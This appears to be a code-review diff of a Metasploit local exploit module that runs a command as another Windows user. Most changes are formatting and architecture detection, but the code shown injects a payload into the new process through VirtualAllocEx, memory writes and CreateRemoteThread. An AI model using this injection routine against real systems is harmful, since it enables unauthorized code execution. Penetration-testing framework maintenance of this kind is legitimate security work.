7
7
require 'rex'
8
8
9
9
class Metasploit3 < Msf ::Exploit ::Local
10
-
11
10
include Msf ::Post ::Windows ::Runas
12
11
13
- def initialize ( info = { } )
12
+ def initialize ( info = { } )
14
13
super ( update_info ( info ,
15
14
'Name' => "Windows Run Command As User" ,
16
15
'Description' => %q{
@@ -63,19 +62,19 @@ def exploit
63
62
windir = get_env ( 'windir' )
64
63
65
64
# Select path of executable to run depending the architecture
66
- case client . platform
67
- when /x86/
65
+ case sysinfo [ 'Architecture' ]
66
+ when /x86/i
68
67
application_name = "#{ windir } \\ System32\\ notepad.exe"
69
- when /x64/
68
+ when /x64/i
70
69
application_name = "#{ windir } \\ SysWOW64\\ notepad.exe"
71
70
end
72
71
end
73
72
74
73
pi = create_process_with_logon ( domain ,
75
- user ,
76
- password ,
77
- application_name ,
78
- command_line )
74
+ user ,
75
+ password ,
76
+ application_name ,
77
+ command_line )
79
78
80
79
return unless pi
81
80
@@ -85,12 +84,12 @@ def exploit
85
84
vprint_status ( 'Injecting payload into target process' )
86
85
raw = payload . encoded
87
86
process_handle = pi [ :process_handle ]
88
- virtual_alloc = session . railgun . kernel32 . VirtualAllocEx ( process_handle ,
89
- nil ,
90
- raw . length ,
91
- 'MEM_COMMIT|MEM_RESERVE' ,
92
- 'PAGE_EXECUTE_READWRITE' )
93
87
88
+ virtual_alloc = session . railgun . kernel32 . VirtualAllocEx ( process_handle ,
89
+ nil ,
90
+ raw . length ,
91
+ 'MEM_COMMIT|MEM_RESERVE' ,
92
+ 'PAGE_EXECUTE_READWRITE' )
94
93
95
94
address = virtual_alloc [ 'return' ]
96
95
fail_with ( Exploit ::Failure ::Unknown , "Unable to allocate memory in target process: #{ virtual_alloc [ 'ErrorMessage' ] } " ) if address == 0
@@ -99,18 +98,18 @@ def exploit
99
98
address ,
100
99
raw ,
101
100
raw . length ,
102
- 4 )
101
+ 4 )
103
102
104
103
fail_with ( Exploit ::Failure ::Unknown ,
105
104
"Unable to write memory in target process @ 0x#{ address . to_s ( 16 ) } : #{ write_memory [ 'ErrorMessage' ] } " ) unless write_memory [ 'return' ]
106
105
107
106
create_remote_thread = session . railgun . kernel32 . CreateRemoteThread ( process_handle ,
108
- nil ,
109
- 0 ,
110
- address ,
111
- nil ,
112
- 0 ,
113
- 4 )
107
+ nil ,
108
+ 0 ,
109
+ address ,
110
+ nil ,
111
+ 0 ,
112
+ 4 )
114
113
if create_remote_thread [ 'return' ] == 0
115
114
print_error ( "Unable to create remote thread in target process: #{ create_remote_thread [ 'ErrorMessage' ] } " )
116
115
else
0 commit comments